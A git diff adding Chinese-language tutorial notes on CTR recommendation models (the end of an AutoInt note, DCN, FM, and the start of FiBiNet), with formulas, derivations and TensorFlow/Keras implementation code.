+关于这个问题， 我目前没有尝试用同一个的效果，但总感觉是违背了当时设计自注意力的初衷，最直接的一个结论，就是这里如果直接$QQ^T$，那么得到的注意力矩阵是一个对称的矩阵， 这在汇总信息的时候可能会出现问题。 因为这基于了一个假设就是A特征对于B特征的重要性，和B特征对于A的重要性是一致的， 这个显然是不太符合常规的。 比如"学历"这个特征和"职业"这个特征， 对于计算机行业，高中生和研究生或许都可以做， 但是对于金融类的行业， 对学历就有着很高的要求。 这就说明对于职业这个特征， 学历特征对其影响很大。 而如果是看学历的话，研究生学历或许可以入计算机，也可以入金融， 可能职业特征对学历的影响就不是那么明显。  也就是学历对于职业的重要性可能会比职业对于学历的重要性要大。 所以我感觉直接用同一个矩阵，在表达能力上会受到限制。当然，是自己的看法哈， 这个问题也欢迎一块讨论呀！ 
+
+
+**参考资料**：
+* [AutoInt: Automatic Feature Interaction Learning via Self-Attentive Neural Networks](https://arxiv.org/abs/1810.11921)
+* [AutoInt：基于Multi-Head Self-Attention构造高阶特征](https://zhuanlan.zhihu.com/p/60185134)
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.2/DCN.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.2/DCN.md
new file mode 100644
index 0000000..722673d
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.2/DCN.md
@@ -0,0 +1,155 @@
+# DCN
+## 动机
+Wide&Deep模型的提出不仅综合了“记忆能力”和“泛化能力”， 而且开启了不同网络结构融合的新思路。 所以后面就有各式各样的模型改进Wide部分或者Deep部分， 而Deep&Cross模型(DCN)就是其中比较典型的一个，这是2017年斯坦福大学和谷歌的研究人员在ADKDD会议上提出的， 该模型针对W&D的wide部分进行了改进， 因为Wide部分有一个不足就是需要人工进行特征的组合筛选， 过程繁琐且需要经验， 而2阶的FM模型在线性的时间复杂度中自动进行特征交互，但是这些特征交互的表现能力并不够，并且随着阶数的上升，模型复杂度会大幅度提高。于是乎，作者用一个Cross Network替换掉了Wide部分，来自动进行特征之间的交叉，并且网络的时间和空间复杂度都是线性的。 通过与Deep部分相结合，构成了深度交叉网络（Deep & Cross Network），简称DCN。
+
+## 模型结构及原理
+
+这个模型的结构是这个样子的：
+<div align=center> 
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片dcn.png" style="zoom:67%;" />
+</div>
+
+这个模型的结构也是比较简洁的， 从下到上依次为：Embedding和Stacking层， Cross网络层与Deep网络层并列， 以及最后的输出层。下面也是一一为大家剖析。
+
+### Embedding和Stacking 层
+
+Embedding层我们已经非常的熟悉了吧， 这里的作用依然是把稀疏离散的类别型特征变成低维密集型。
+$$
+\mathbf{x}_{\text {embed, } i}=W_{\text {embed, } i} \mathbf{x}_{i}
+$$
+其中对于某一类稀疏分类特征（如id），$X_{embed, i}$是第个$i$分类值（id序号）的embedding向量。$W_{embed,i}$是embedding矩阵， $n_e\times n_v$维度， $n_e$是embedding维度， $n_v$是该类特征的唯一取值个数。$x_i$属于该特征的二元稀疏向量(one-hot)编码的。 【实质上就是在训练得到的Embedding参数矩阵中找到属于当前样本对应的Embedding向量】。其实绝大多数基于深度学习的推荐模型都需要Embedding操作，参数学习是通过神经网络进行训练。
+
+最后，该层需要将所有的密集型特征与通过embedding转换后的特征进行联合（Stacking）：
+$$
+\mathbf{x}_{0}=\left[\mathbf{x}_{\text {embed, } 1}^{T}, \ldots, \mathbf{x}_{\text {embed, }, k}^{T}, \mathbf{x}_{\text {dense }}^{T}\right]
+$$
+一共$k$个类别特征， dense是数值型特征， 两者在特征维度拼在一块。 上面的这两个操作如果是看了前面的模型的话，应该非常容易理解了。
+
+### Cross Network
+
+这个就是本模型最大的亮点了【Cross网络】， 这个思路感觉非常Nice。设计该网络的目的是增加特征之间的交互力度。交叉网络由多个交叉层组成， 假设第$l$层的输出向量$x_l$， 那么对于第$l+1$层的输出向量$x_{l+1}$表示为：
+
+$$
+\mathbf{x}_{l+1}=\mathbf{x}_{0} \mathbf{x}_{l}^{T} \mathbf{w}_{l}+\mathbf{b}_{l}+\mathbf{x}_{l}=f\left(\mathbf{x}_{l}, \mathbf{w}_{l}, \mathbf{b}_{l}\right)+\mathbf{x}_{l}
+$$
+可以看到， 交叉层的二阶部分非常类似PNN提到的外积操作， 在此基础上增加了外积操作的权重向量$w_l$， 以及原输入向量$x_l$和偏置向量$b_l$。 交叉层的可视化如下：
+
+<div align=center> <img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片cross.png" style="zoom:67%;" />
+</div>
+
+可以看到， 每一层增加了一个$n$维的权重向量$w_l$（n表示输入向量维度）， 并且在每一层均保留了输入向量， 因此输入和输出之间的变化不会特别明显。关于这一层， 原论文里面有个具体的证明推导Cross Network为啥有效， 不过比较复杂，这里我拿一个式子简单的解释下上面这个公式的伟大之处：
+
+> **我们根据上面这个公式， 尝试的写前面几层看看:**
+>
+> $l=0:\mathbf{x}_{1} =\mathbf{x}_{0} \mathbf{x}_{0}^{T} \mathbf{w}_{0}+ \mathbf{b}_{0}+\mathbf{x}_{0}$
+>
+> $l=1:\mathbf{x}_{2} =\mathbf{x}_{0} \mathbf{x}_{1}^{T} \mathbf{w}_{1}+ \mathbf{b}_{1}+\mathbf{x}_{1}=\mathbf{x}_{0} [\mathbf{x}_{0} \mathbf{x}_{0}^{T} \mathbf{w}_{0}+ \mathbf{b}_{0}+\mathbf{x}_{0}]^{T}\mathbf{w}_{1}+\mathbf{b}_{1}+\mathbf{x}_{1}$
+>
+> $l=2:\mathbf{x}_{3} =\mathbf{x}_{0} \mathbf{x}_{2}^{T} \mathbf{w}_{2}+ \mathbf{b}_{2}+\mathbf{x}_{2}=\mathbf{x}_{0} [\mathbf{x}_{0} [\mathbf{x}_{0} \mathbf{x}_{0}^{T} \mathbf{w}_{0}+ \mathbf{b}_{0}+\mathbf{x}_{0}]^{T}\mathbf{w}_{1}+\mathbf{b}_{1}+\mathbf{x}_{1}]^{T}\mathbf{w}_{2}+\mathbf{b}_{2}+\mathbf{x}_{2}$
+
+我们暂且写到第3层的计算， 我们会发现什么结论呢？  给大家总结一下：
+
+1. $\mathrm{x}_1$中包含了所有的$\mathrm{x}_0$的1,2阶特征的交互， $\mathrm{x}_2$包含了所有的$\mathrm{x}_1, \mathrm{x}_0$的1、2、3阶特征的交互，$\mathrm{x}_3$中包含了所有的$\mathrm{x}_2$, $\mathrm{x}_1$与$\mathrm{x}_0$的交互，$\mathrm{x}_0$的1、2、3、4阶特征交互。 因此， 交叉网络层的叉乘阶数是有限的。 **第$l$层特征对应的最高的叉乘阶数$l+1$**
+
+2. Cross网络的参数是共享的， 每一层的这个权重特征之间共享， 这个可以使得模型泛化到看不见的特征交互作用， 并且对噪声更具有鲁棒性。 例如两个稀疏的特征$x_i,x_j$， 它们在数据中几乎不发生交互， 那么学习$x_i,x_j$的权重对于预测没有任何的意义。
+
+3. 计算交叉网络的参数数量。 假设交叉层的数量是$L_c$， 特征$x$的维度是$n$， 那么总共的参数是：
+
+   $$
+   n\times L_c \times 2
+   $$
+   这个就是每一层会有$w$和$b$。且$w$维度和$x$的维度是一致的。
+
+4. 交叉网络的时间和空间复杂度是线性的。这是因为， 每一层都只有$w$和$b$， 没有激活函数的存在，相对于深度学习网络， 交叉网络的复杂性可以忽略不计。
+
+5. Cross网络是FM的泛化形式， 在FM模型中， 特征$x_i$的权重$v_i$， 那么交叉项$x_i,x_j$的权重为$<x_i,x_j>$。在DCN中， $x_i$的权重为${W_K^{(i)}}_{k=1}^l$, 交叉项$x_i,x_j$的权重是参数${W_K^{(i)}}_{k=1}^l$和${W_K^{(j)}}_{k=1}^l$的乘积，这个看上面那个例子展开感受下。因此两个模型都各自学习了独立于其他特征的一些参数，并且交叉项的权重是相应参数的某种组合。FM只局限于2阶的特征交叉(一般)，而DCN可以构建更高阶的特征交互， 阶数由网络深度决定，并且交叉网络的参数只依据输入的维度线性增长。
+
+6. 还有一点我们也要了解，对于每一层的计算中， 都会跟着$\mathrm{x}_0$, 这个是咱们的原始输入， 之所以会乘以一个这个，是为了保证后面不管怎么交叉，都不能偏离我们的原始输入太远，别最后交叉交叉都跑偏了。
+
+7. $\mathbf{x}_{l+1}=f\left(\mathbf{x}_{l}, \mathbf{w}_{l}, \mathbf{b}_{l}\right)+\mathbf{x}_{l}$, 这个东西其实有点跳远连接的意思，也就是和ResNet也有点相似，无形之中还能有效的缓解梯度消失现象。
+
+好了， 关于本模型的交叉网络的细节就介绍到这里了。这应该也是本模型的精华之处了，后面就简单了。
+
+### Deep Network
+
+这个就和上面的D&W的全连接层原理一样。这里不再过多的赘述。
+$$
+\mathbf{h}_{l+1}=f\left(W_{l} \mathbf{h}_{l}+\mathbf{b}_{l}\right)
+$$
+具体的可以参考W&D模型。
+
+### 组合输出层
+
+这个层负责将两个网络的输出进行拼接， 并且通过简单的Logistics回归完成最后的预测：
+$$
+p=\sigma\left(\left[\mathbf{x}_{L_{1}}^{T}, \mathbf{h}_{L_{2}}^{T}\right] \mathbf{w}_{\text {logits }}\right)
+$$
+其中$\mathbf{x}_{L_{1}}^{T}$和$\mathbf{h}_{L_{2}}^{T}$分别表示交叉网络和深度网络的输出。
+最后二分类的损失函数依然是交叉熵损失：
+$$
+\text { loss }=-\frac{1}{N} \sum_{i=1}^{N} y_{i} \log \left(p_{i}\right)+\left(1-y_{i}\right) \log \left(1-p_{i}\right)+\lambda \sum_{l}\left\|\mathbf{w}_{i}\right\|^{2}
+$$
+
+Cross&Deep模型的原理就是这些了，其核心部分就是Cross Network， 这个可以进行特征的自动交叉， 避免了更多基于业务理解的人工特征组合。 该模型相比于W&D，Cross部分表达能力更强， 使得模型具备了更强的非线性学习能力。
+
+## 代码实现
+
+下面我们看下DCN的代码复现，这里主要是给大家说一下这个模型的设计逻辑，参考了deepctr的函数API的编程风格， 具体的代码以及示例大家可以去参考后面的GitHub，里面已经给出了详细的注释， 这里主要分析模型的逻辑这块。关于函数API的编程式风格，我们还给出了一份文档， 大家可以先看这个，再看后面的代码部分，会更加舒服些。
+
+从上面的结构图我们也可以看出， DCN的模型搭建，其实主要分为几大模块， 首先就是建立输入层，用到的函数式`build_input_layers`，有了输入层之后， 我们接下来是embedding层的搭建，用到的函数是`build_embedding_layers`， 这个层的作用是接收离散特征，变成低维稠密。 接下来就是把连续特征和embedding之后的离散特征进行拼接，分别进入wide端和deep端。 wide端就是交叉网络，而deep端是DNN网络， 这里分别是`CrossNet()`和`get_dnn_output()`, 接下来就是把这两块的输出拼接得到最后的输出了。所以整体代码如下：
+
+```python
+def DCN(linear_feature_columns, dnn_feature_columns):
+    # 构建输入层，即所有特征对应的Input()层，这里使用字典的形式返回，方便后续构建模型
+    dense_input_dict, sparse_input_dict = build_input_layers(linear_feature_columns + dnn_feature_columns)
+
+    # 构建模型的输入层，模型的输入层不能是字典的形式，应该将字典的形式转换成列表的形式
+    # 注意：这里实际的输入与Input()层的对应，是通过模型输入时候的字典数据的key与对应name的Input层
+    input_layers = list(dense_input_dict.values()) + list(sparse_input_dict.values())
+
+    # 构建维度为k的embedding层，这里使用字典的形式返回，方便后面搭建模型
+    embedding_layer_dict = build_embedding_layers(dnn_feature_columns, sparse_input_dict, is_linear=False)
+
+    concat_dense_inputs = Concatenate(axis=1)(list(dense_input_dict.values()))
+
+    # 将特征中的sparse特征筛选出来
+    sparse_feature_columns = list(filter(lambda x: isinstance(x, SparseFeat), linear_feature_columns)) if linear_feature_columns else []
+
+    sparse_kd_embed = concat_embedding_list(sparse_feature_columns, sparse_input_dict, embedding_layer_dict, flatten=True)
+
+    concat_sparse_kd_embed = Concatenate(axis=1)(sparse_kd_embed)   
+
+    dnn_input = Concatenate(axis=1)([concat_dense_inputs, concat_sparse_kd_embed])
+
+    dnn_output = get_dnn_output(dnn_input)
+    
+    cross_output = CrossNet()(dnn_input)
+
+    # stack layer
+    stack_output = Concatenate(axis=1)([dnn_output, cross_output])
+
+    # 这里的激活函数使用sigmoid
+    output_layer = Dense(1, activation='sigmoid')(stack_output)
+
+    model = Model(input_layers, output_layer)
+    return model
+```
+
+这个模型的实现过程和DeepFM比较类似，这里不画草图了，如果想看的可以去参考DeepFM草图及代码之间的对应关系。
+
+下面是一个通过keras画的模型结构图，为了更好的显示，类别特征都只是选择了一小部分，画图的代码也在github中。
+
+<div align=center> <img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片DCN.png" alt="image-20210308143101261" style="zoom: 50%;" />
+</div>
+
+## 思考
+
+1. 请计算Cross Network的复杂度，需要的变量请自己定义。
+2. 在实现矩阵计算$x_0*x_l^Tw$的过程中，有人说要先算前两个，有人说要先算后两个，请问那种方式更好？为什么？
+
+**参考资料**
+* 《深度学习推荐系统》 --- 王喆
+*  [Deep&Cross模型原论文](https://arxiv.org/abs/1708.05123)
+*  AI上推荐 之 Wide&Deep与Deep&Cross模型（记忆与泛化并存的华丽转身）
+*  [Wide&Deep模型的进阶---Cross&Deep模型](https://mp.weixin.qq.com/s/DkoaMaXhlgQv1NhZHF-7og)
+
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.2/FM.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.2/FM.md
new file mode 100644
index 0000000..1141af5
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.2/FM.md
@@ -0,0 +1,147 @@
+### FM模型的引入
+
+#### 逻辑回归模型及其缺点
+
+FM模型其实是一种思路，具体的应用稍少。一般来说做推荐CTR预估时最简单的思路就是将特征做线性组合（逻辑回归LR），传入sigmoid中得到一个概率值，本质上这就是一个线性模型，因为sigmoid是单调增函数不会改变里面的线性模型的CTR预测顺序，因此逻辑回归模型效果会比较差。也就是LR的缺点有：
+
+* 是一个线性模型
+* 每个特征对最终输出结果独立，需要手动特征交叉（$x_i*x_j$），比较麻烦
+
+<br>
+
+#### 二阶交叉项的考虑及改进
+
+由于LR模型的上述缺陷（主要是手动做特征交叉比较麻烦），干脆就考虑所有的二阶交叉项，也就是将目标函数由原来的
+
+$$
+y = w_0+\sum_{i=1}^nw_ix_i
+$$
+变为
+
+$$
+y = w_0+\sum_{i=1}^nw_ix_i+\sum_{i=1}^{n-1}\sum_{i+1}^nw_{ij}x_ix_j
+$$
+但这个式子有一个问题，**只有当$x_i$与$x_j$均不为0时这个二阶交叉项才会生效**，后面这个特征交叉项本质是和多项式核SVM等价的，为了解决这个问题，我们的FM登场了！
+
+FM模型使用了如下的优化函数：
+
+$$
+y = w_0+\sum_{i=1}^nw_ix_i+\sum_{i=1}^{n}\sum_{i+1}^n\lt v_i,v_j\gt x_ix_j
+$$
+事实上做的唯一改动就是把$w_{ij}$替换成了$\lt v_i,v_j\gt$，大家应该就看出来了，这实际上就有深度学习的意味在里面了，实质上就是给每个$x_i$计算一个embedding，然后将两个向量之间的embedding做内积得到之前所谓的$w_{ij}$好处就是这个模型泛化能力强 ，即使两个特征之前从未在训练集中**同时**出现，我们也不至于像之前一样训练不出$w_{ij}$，事实上只需要$x_i$和其他的$x_k$同时出现过就可以计算出$x_i$的embedding！
+
+<br>
+
+### FM公式的理解
+
+从公式来看，模型前半部分就是普通的LR线性组合，后半部分的交叉项：特征组合。首先，单从模型表达能力上来看，FM是要强于LR的，至少它不会比LR弱，当交叉项参数$w_{ij}$全为0的时候，整个模型就退化为普通的LR模型。对于有$n$个特征的模型，特征组合的参数数量共有$1+2+3+\cdots  + n-1=\frac{n(n-1)}{2}$个，并且任意两个参数之间是独立的。所以说特征数量比较多的时候，特征组合之后，维度自然而然就高了。
+
+> 定理：任意一个实对称矩阵（正定矩阵）$W$都存在一个矩阵$V$，使得 $W=V.V^{T}$成立。
+
+类似地，所有二次项参数$\omega_{ij}$可以组成一个对称阵$W$（为了方便说明FM的由来，对角元素可以设置为正实数），那么这个矩阵就可以分解为$W=V^TV$，$V$ 的第$j$列($v_{j}$)便是第$j$维特征($x_{j}$)的隐向量。
+
+$$
+\hat{y}(X) = \omega_{0}+\sum_{i=1}^{n}{\omega_{i}x_{i}}+\sum_{i=1}^{n-1}{\sum_{j=i+1}^{n} \color{red}{<v_{i},v_{j}>x_{i}x_{j}}}
+$$
+
+需要估计的参数有$\omega_{0}∈ R$，$\omega_{i}∈ R$，$V∈ R$，$< \cdot, \cdot>$是长度为$k$的两个向量的点乘，公式如下：
+
+$$
+<v_{i},v_{j}> = \sum_{f=1}^{k}{v_{i,f}\cdot v_{j,f}}
+$$
+
+上面的公式中： 
+
+- $\omega_{0}$为全局偏置；
+- $\omega_{i}$是模型第$i$个变量的权重;
+- $\omega_{ij} = < v_{i}, v_{j}>$特征$i$和$j$的交叉权重;
+- $v_{i} $是第$i$维特征的隐向量;
+- $<\cdot, \cdot>$代表向量点积;
+- $k(k<<n)$为隐向量的长度，包含 $k$ 个描述特征的因子。
+
+FM模型中二次项的参数数量减少为 $kn $个，远少于多项式模型的参数数量。另外，参数因子化使得 $x_{h}x_{i}$ 的参数和 $x_{i}x_{j}$ 的参数不再是相互独立的，因此我们可以在样本稀疏的情况下相对合理地估计FM的二次项参数。具体来说，$x_{h}x_{i}$ 和 $x_{i}x_{j}$的系数分别为 $\lt v_{h},v_{i}\gt$ 和 $\lt v_{i},v_{j}\gt$ ，它们之间有共同项 $v_{i}$ 。也就是说，所有包含“ $x_{i}$ 的非零组合特征”（存在某个 $j \ne i$ ，使得 $x_{i}x_{j}\neq 0$ ）的样本都可以用来学习隐向量$v_{i}$，这很大程度上避免了数据稀疏性造成的影响。而在多项式模型中,$w_{hi}$ 和 $w_{ij}$ 是相互独立的。
+
+显而易见，FM的公式是一个通用的拟合方程，可以采用不同的损失函数用于解决regression、classification等问题，比如可以采用MSE（Mean Square Error）loss function来求解回归问题，也可以采用Hinge/Cross-Entropy loss来求解分类问题。当然，在进行二元分类时，FM的输出需要使用sigmoid函数进行变换，该原理与LR是一样的。直观上看，FM的复杂度是 $O(kn^2)$ 。但是FM的二次项可以化简，其复杂度可以优化到 $O(kn)$ 。由此可见，FM可以在线性时间对新样本作出预测。
+
+**证明**：
+$$
+\begin{aligned} 
+\sum_{i=1}^{n-1}{\sum_{j=i+1}^{n}{<v_i,v_j>x_ix_j}}
+&= \frac{1}{2}\sum_{i=1}^{n}{\sum_{j=1}^{n}{<v_i,v_j>x_ix_j}} - \frac{1}{2} {\sum_{i=1}^{n}{<v_i,v_i>x_ix_i}} \\
+&= \frac{1}{2} \left( \sum_{i=1}^{n}{\sum_{j=1}^{n}{\sum_{f=1}^{k}{v_{i,f}v_{j,f}x_ix_j}}} - \sum_{i=1}^{n}{\sum_{f=1}^{k}{v_{i,f}v_{i,f}x_ix_i}} \right) \\
+&= \frac{1}{2}\sum_{f=1}^{k}{\left[ \left( \sum_{i=1}^{n}{v_{i,f}x_i} \right) \cdot \left( \sum_{j=1}^{n}{v_{j,f}x_j} \right) - \sum_{i=1}^{n}{v_{i,f}^2 x_i^2} \right]} \\
+&= \frac{1}{2}\sum_{f=1}^{k}{\left[ \left( \sum_{i=1}^{n}{v_{i,f}x_i} \right)^2 - \sum_{i=1}^{n}{v_{i,f}^2 x_i^2} \right]} 
+\end{aligned}
+$$
+**解释**：
+
+- $v_{i,f}$ 是一个具体的值；
+- 第1个等号：对称矩阵 $W$ 对角线上半部分；
+- 第2个等号：把向量内积 $v_{i}$,$v_{j}$ 展开成累加和的形式；
+- 第3个等号：提出公共部分；
+- 第4个等号： $i$ 和 $j$ 相当于是一样的，表示成平方过程。
+
+<br>
+
+### FM优缺点
+
+**优点**
+1. 通过向量内积作为交叉特征的权重，可以在数据非常稀疏的情况下还能有效的训练处交叉特征的权重（因为不需要两个特征同时不为零）
+2. 可以通过公式上的优化，得到O(nk)的计算复杂度，k一般比较小，所以基本上和n是正相关的，计算效率非常高
+3. 尽管推荐场景下的总体特征空间非常大，但是FM的训练和预测只需要处理样本中的非零特征，这也提升了模型训练和线上预测的速度
+4. 由于模型的计算效率高，并且在稀疏场景下可以自动挖掘长尾低频物料。所以在召回、粗排和精排三个阶段都可以使用。应用在不同阶段时，样本构造、拟合目标及线上服务都有所不同（注意FM用于召回时对于user和item相似度的优化）
+5. 其他优点及工程经验参考石塔西的文章
+
+**缺点**
+1. 只能显示的做特征的二阶交叉，对于更高阶的交叉无能为力。对于此类问题，后续就提出了各类显示、隐式交叉的模型，来充分挖掘特征之间的关系
+
+### 代码实现
+
+```python
+class FM(Layer):
+    """显示特征交叉，直接按照优化后的公式实现即可
+    注意：
+        1. 传入进来的参数看起来是一个Embedding权重，没有像公式中出现的特征，那是因
+        为，输入的id特征本质上都是onehot编码，取出对应的embedding就等价于特征乘以
+        权重。所以后续的操作直接就是对特征进行操作
+        2. 在实现过程中，对于公式中的平方的和与和的平方两部分，需要留意是在哪个维度
+        上计算，这样就可以轻松实现FM特征交叉模块
+    """
+    def __init__(self, **kwargs):
+        super(FM, self).__init__(**kwargs)
+
+    def build(self, input_shape):
+        if not isinstance(input_shape, list) or len(input_shape) < 2:
+            raise ValueError('`FM` layer should be called \
+                on a list of at least 2 inputs')
+        super(FM, self).build(input_shape)  # Be sure to call this somewhere!
+
+    def call(self, inputs, **kwargs):
+        """
+        inputs: 是一个列表，列表中每个元素的维度为：(None, 1, emb_dim)， 列表长度
+            为field_num
+        """
+        concated_embeds_value =  Concatenate(axis=1)(inputs) #(None,field_num,emb_dim)
+        # 根据最终优化的公式计算即可，需要注意的是计算过程中是沿着哪个维度计算的，将代码和公式结合起来看会更清晰
+        square_of_sum = tf.square(tf.reduce_sum(
+            concated_embeds_value, axis=1, keepdims=True)) # (None, 1, emb_dim)
+        sum_of_square = tf.reduce_sum(
+            concated_embeds_value * concated_embeds_value,
+             axis=1, keepdims=True) # (None, 1, emb_dim)
+        cross_term = square_of_sum - sum_of_square
+        cross_term = 0.5 * tf.reduce_sum(cross_term, axis=2, keepdims=False)#(None,1)
+        return cross_term
+
+    def compute_output_shape(self, input_shape):
+        return (None, 1)
+    
+    def get_config(self):
+        return super().get_config()
+```
+
+
+**参考资料**
+* [FM：推荐算法中的瑞士军刀](https://zhuanlan.zhihu.com/p/343174108)
+* [FM算法解析](https://zhuanlan.zhihu.com/p/37963267)
+* [FM论文原文](https://www.csie.ntu.edu.tw/~b97053/paper/Rendle2010FM.pdf)
+* [AI上推荐 之 FM和FFM](https://blog.csdn.net/wuzhongqiang/article/details/108719417)
\ No newline at end of file
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.2/FiBiNet.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.2/FiBiNet.md
new file mode 100644
index 0000000..f4552be
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.2/FiBiNet.md
@@ -0,0 +1,451 @@
+## 写在前面
+FiBiNET(Feature Importance and Bilinear feature Interaction)是2019年发表在RecSys的一个模型，来自新浪微博张俊林老师的团队。这个模型如果从模型演化的角度来看， 主要是在特征重要性以及特征之间交互上做出了探索。所以，如果想掌握FiBiNet的话，需要掌握两大核心模块：
+* 模型的特征重要性选择 --- SENET网络
+* 特征之间的交互 --- 双线性交叉层(组合了内积和哈达玛积)
+
+
+## FiBiNet？ 我们先需要先了解这些
+
+FiBiNet的提出动机是因为在特征交互这一方面， 目前的ctr模型要么是简单的两两embedding内积(这里针对离散特征)， 比如FM，FFM。 或者是两两embedding进行哈达玛积(NFM这种)， 作者认为这两种交互方式还是过于简单， 另外像NFM这种，FM这种，也忽视了特征之间的重要性程度。
+
+对于特征重要性，作者在论文中举得例子非常形象
+>the feature occupation is more important than the feature hobby when we predict a person’s income
+
+所以要想让模型学习到更多的信息， 从作者的角度来看，首先是离散特征之间的交互必不可少，且需要更细粒度。第二个就是需要考虑不同特征对于预测目标的重要性程度，给不同的特征根据重要性程度进行加权。 写到这里， 如果看过之前的文章的话，这个是不是和某些模型有些像呀， 没错，AFM其实考虑了这一点， 不过那里是用了一个Attention网络对特征进行的加权， 这里采用了另一种思路而已，即SENET， 所以这里我们如果是考虑特征重要性程度的话， 就有了两种思路：
+* Attention
+* SENET
+
+而考虑特征交互的话， 思路应该会更多：
+* PNN里面的内积和外积
+* NFM里面的哈达玛积
+* 这里的双线性函数交互(内积和哈达玛积的组合)
+
+所以，读论文， 这些思路感觉要比模型本身重要，而读论文还有一个有意思的事情，那就是我们既能了解思路，也能想一下，为啥这些方法会有效果呢？  我们自己能不能提出新的方法来呢？ 如果读一篇paper，再顺便把后面的这些问题想通了， 那么这篇paper对于我们来说就发挥效用了， 后面就可以用拉马努金式方法训练自己的思维。
+
+在前面的准备工作中，作者依然是带着我们梳理了整个推荐模型的演化过程， 我们也简单梳理下，就当回忆:
+* FNN:  下面是经过FM预训练的embedding层， 也就是先把FM训练好，得到各个特征的embedding，用这个embedding初始化FNN下面的embedding层， 上面是DNN。 这个模型用的不是很多，缺点是只能搞隐性高阶交互，并且下面的embedding和高层的DNN配合不是很好。
+* WDL： 这是一个经典的W&D架构， w逻辑回归维持记忆， DNN保持高阶特征交互。问题是W端依然需要手动特征工程，也就是低阶交互需要手动来搞，需要一定的经验。一般工业上也不用了。
+* DeepFM：对WDL的逻辑回归进行升级， 把逻辑回归换成FM， 这样能保证低阶特征的自动交互， 兼顾记忆和泛化性能，低阶和高阶交互。 目前这个模型在工业上非常常用，效果往往还不错，SOTA模型。
+* DCN： 认为DeepFM的W端的FM的交互还不是很彻底，只能到二阶交互。所以就提出了一种交叉性网络，可以在W端完成高阶交互。
+* xDeepFM: DCN的再次升级，认为DCN的wide端交叉网络这种element-wise的交互方式不行，且不是显性的高阶交互，所以提出了一个专门用户高阶显性交互的CIN网络， vector-wise层次上的特征交互。
+* NFM: 下层是FM， 中间一个交叉池化层进行两两交互，然后上面接DNN， 工业上用的不多。
+* AFM: 从NFM的基础上，考虑了交互完毕之后的特征重要性程度， 从NFM的基础上加了一个Attention网络，所以如果用的话，也应该用AFM。
+
+综上， 这几个网络里面最常用的还是属DeepFM了， 当然对于交互来讲，在我的任务上试过AFM和xDeepFM， 结果是AFM和DeepFM差不多持平， 而xDeepFM要比这俩好一些，但并不多，而考虑完了复杂性， 还是DeepFM或者AFM。
+
+对于上面模型的问题，作者说了两点，第一个是大部分模型没有考虑特征重要性，也就是交互完事之后，没考虑对于预测目标来讲谁更重要，一视同仁。 第二个是目前的两两特征交互，大部分依然是内积或者哈达玛积， 作者认为还不是细粒度(fine-grained way)交互。
+
+那么，作者是怎么针对这两个问题进行改进的呢？ 为什么这么改进呢？
+
+## FiBiNet模型的理论以及论文细节
+这里我们直接分析模型架构即可， 因为这个模型不是很复杂，也非常好理解前向传播的过程：
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20210703160140322.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="image-20210308142624189" style="zoom: 80%;" /> 
+</div>
+
+从模型架构上来看，如果把我框出来的两部分去掉， 这个基本上就退化成了最简单的推荐深度模型DeepCrossing，甚至还比不上那个(那个还用了残差网络)。不过，加上了两个框，效果可就不一样了。所以下面重点是剖析下这两个框的结构，其他的简单一过即可。
+>梳理细节之前， 先说下前向传播的过程。 <br>
+>首先，我们输入的特征有离散和连续，对于连续的特征，输入完了之后，先不用管，等待后面拼起来进DNN即可，这里也没有刻意处理连续特征。
+><br>对于离散特征，过embedding转成低维稠密，一般模型的话，这样完了之后，就去考虑embedding之间交互了。 而这个模型不是， 在得到离散特征的embedding之后，分成了两路
+>* 一路保持原样， 继续往后做两两之间embedding交互，不过这里的交互方式，不是简单的内积或者哈达玛积，而是采用了非线性函数，这个后面会提到。
+>* 另一路，过一个SENET Layer， 过完了之后得到的输出是和原来embedding有着相同维度的，这个SENET的理解方式和Attention网络差不多，也是根据embedding的重要性不同出来个权重乘到了上面。  这样得到了SENET-like Embedding，就是加权之后的embedding。 这时候再往上两两双线性交互。 
+>
+>两路embedding都两两交互完事， Flatten展平，和连续特征拼在一块过DNN输出。
+
+
+### Embedding Layer
+这个不多讲， 整理这个是为了后面统一符号。
+
+假设我们有$f$个离散特征，经过embedding层之后，会得到$E=\left[e_{1}, e_{2}, \cdots, e_{i}, \cdots, e_{f}\right]$， 其中$e_{i} \in R^{k}$，表示第$i$个离散特征对应的embedding向量，$k$维。
+
+### SENET Layer
+这是第一个重点，首先这个网络接收的输入是上面的$E=\left[e_{1}, e_{2}, \cdots, e_{i}, \cdots, e_{f}\right]$， 网络的输出也是个同样大小的张量`(None, f, k)`矩阵。 结构如下：
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20210703162008862.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="image-20210308142624189" style="zoom: 80%;" /> 
+</div>
+
+SENet由自动驾驶公司Momenta在2017年提出，在当时，是一种应用于图像处理的新型网络结构。它基于CNN结构，**通过对特征通道间的相关性进行建模，对重要特征进行强化来提升模型准确率，本质上就是针对CNN中间层卷积核特征的Attention操作**。ENet仍然是效果最好的图像处理网络结构之一。
+>SENet能否用到推荐系统？--- 张俊林老师的知乎(链接在文末)<br> 
